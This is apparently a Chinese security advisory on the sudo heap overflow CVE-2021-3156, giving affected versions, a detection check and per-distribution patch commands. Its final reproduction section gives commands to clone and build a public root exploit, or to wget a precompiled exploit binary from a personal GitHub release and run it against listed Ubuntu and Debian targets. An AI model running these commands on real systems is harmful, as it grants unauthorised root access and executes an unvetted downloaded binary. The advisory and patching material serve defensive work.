国外研究团队披露出sudo堆溢出漏洞,漏洞编号:CVE-2021-3156
。任何本地用户,无需身份验证(密码),也能获得root权限。这个漏洞一直存在于sudo1.9.0
到1.9.5p1
的所有稳定版本,和1.8.2
到1.8.31p2
的所有旧版本的默认配置中。
漏洞详情
Sudo是一个功能强大的实用程序,大多数基于Unix和Linux的操作系统都包含Sudo。 它允许用户使用其他用户的安全特权运行程序。 该漏洞已经隐藏了将近十年。 它于2011年7月引入(commit:8255ed69),从1.8.2到1.8.31p2的所有旧版本以及从1.9.0到1.9.5p1的所有稳定版本的默认配置均受影响。成功利用此漏洞,普通用户都可以在易受攻击的主机上获得 root 特权。安全研究人员已在Ubuntu 20.04(Sudo 1.8.31),Debian 10(Sudo 1.8.27)和Fedora 33(Sudo 1.9.2)上验证漏洞并开发多种漏洞利用获得了完整的 root 用户特权。其他操作系统和发行版也可能会被利用。
漏洞风险
攻击者可利用该漏洞提升权限,漏洞细节已公开
影响版本
Sudo 1.9.0
到 1.9.5p1
所有稳定版(默认配置)
Sudo 1.8.2
到 1.8.31p2
所有旧版本(默认配置)
安全版本
Sudo 1.9.5p2
或更新版本
检测方法
1、以非root账户登录系统运行如下命令:
sudoedit -s /
2、若受影响,错误信息会以如下内容开头:
sudoedit:
3、若已安装补丁,错误信息会以如下内容开头:
usage:
修复建议
Redhat、Ubuntu、Debian等发行版都已经紧急发布修复补丁
Redhat/CentOS 系统用户:
(1)安全版本
1. CentOS 6:升级到1.9.5p2
或更高版本;
2. CentOS 7:升级到 sudo-1.8.23-10.el7_9.1
或更高版本;
3. CentOS 8:升级到 sudo-1.8.29-6.el8_3.1
或更高版本。
(2)修复命令
yum makecache yum install sudo -y
(3)检测是否修复成功
rpm -qa sudo
Ubuntu系统用户:
(1)安全版本
1. Ubuntu 20.04 LTS版本用户,建议升级到如下版本:
sudo - 1.8.31-1ubuntu1.2
sudo-ldap - 1.8.31-1ubuntu1.2
2. Ubuntu 18.04 LTS版本用户,建议升级到如下版本:
sudo - 1.8.21p2-3ubuntu1.4
sudo-ldap - 1.8.21p2-3ubuntu1.4
3. Ubuntu 16.04 LTS版本用户,建议升级到如下版本:
sudo - 1.8.16-0ubuntu1.10
sudo-ldap - 1.8.16-0ubuntu1.10
(2)修复命令
sudo apt-get install sudo
(3)检测是否修复成功
sudo dpkg -l sudo
Debian系统用户:
(1)安全版本
debian 9:1.8.19p1-2.1+deb9u3
debian 10:1.8.27-1+deb10u3
(2)修复命令
apt-get update apt-get install sudo -y
(3)检测是否修复成功
dpkg -l sudo
漏洞复现
Github仓库地址:https://github.com/blasty/CVE-2021-3156
自己编译
git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156/ make
下载我编译好的
wget https://github.com/peng4740/CVE-2021-3156/releases/download/v1/sudo-hax-me-a-sandwich chmod +x sudo-hax-me-a-sandwich
使用方法:
usage: ./sudo-hax-me-a-sandwich target
available targets:
------------------------------------------------------------
0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
------------------------------------------------------------
也就是根据sudo版本不同执行下面的命令:
./sudo-hax-me-a-sandwich 0
./sudo-hax-me-a-sandwich 1
./sudo-hax-me-a-sandwich 2
查看版本的方法:
dpkg -l sudo
或rpm -qa sudo
(debian和centos)
参考文章
https://cloud.tencent.com/announce/detail/1501
https://www.sudo.ws/alerts/unescape_overflow.html